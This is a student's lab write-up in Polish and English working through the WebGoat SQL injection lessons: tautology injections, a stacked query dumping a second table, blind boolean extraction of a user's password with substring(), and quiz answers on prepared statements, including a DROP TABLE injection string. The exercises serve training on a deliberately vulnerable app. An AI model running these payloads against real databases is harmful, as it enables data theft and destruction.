Michał Kalina

250088

Bazy danych – L 2019

WEB GOAT

Po włączeniu programu wybieramy advanced z lewej strony

Intro

1. SELECT department FROM employees WHERE first_name="Bob" AND last_name="Franco"
2. UPDATE employees SET department = 'Sales' WHERE first_name='Tobi' AND last_name='Barnett';
3. ALTER TABLE employees ADD phone varchar(20);
4. SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1'

Explanation: This injection works, because or '1' = '1' always evaluates to true (The string ending literal for '1 is closed by the query itself, so you should not inject it). So the injected query basically looks like this: SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE, which will always evaluate to true, no matter what came before it

5. login_count; dowolony

   user id: '1' OR TRUE

ZADANIE 3

Your query was: SELECT * FROM user_data WHERE last_name =

' OR '1'='1'; SeLECT * FROM user_system_data;

passW0rD

Zadanie 5

Sprawdzam po kolei czy jest wieksze,mniejsze,rowne od litery

tom' AND substring(password,3,1)<'a' --

na 3 mscu. jest c więc

w tym przypadku: tom' AND substring(password,3,1)<'a' --

mam komunikat: User tom' AND substring(password,3,1)<'a' -- created, please proceed to the login page.

a w tym przypadku: tom' AND substring(password,3,1)>'a' --

Mam komunikat: User {0} already exists please try to register with a different username.

-czyli prawda

a w tym przypadku: tom' AND substring(password,3,1)='i' --

Mam komunikat: User {0} already exists please try to register with a different username.

-czyli prawda

Hasło to: thisisasecretfortomonly

thisisasecretfortomonly

Komunikat: Congratulations. You have successfully completed the assignment.

ZADANIE 6

1. What is the difference between a prepared statement and a statement?

Solution 4: A statement has got values instead of a prepared statement

2. Which one of the following characters is a placeholder for variables?

Solution 3: ?

3. How can prepared statements be faster than statements?

Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.

4. How can a prepared statement prevent SQL-Injection?

Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.

5. What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement?

Solution 4: The database registers 'Robert'); DROP TABLE Students;--'.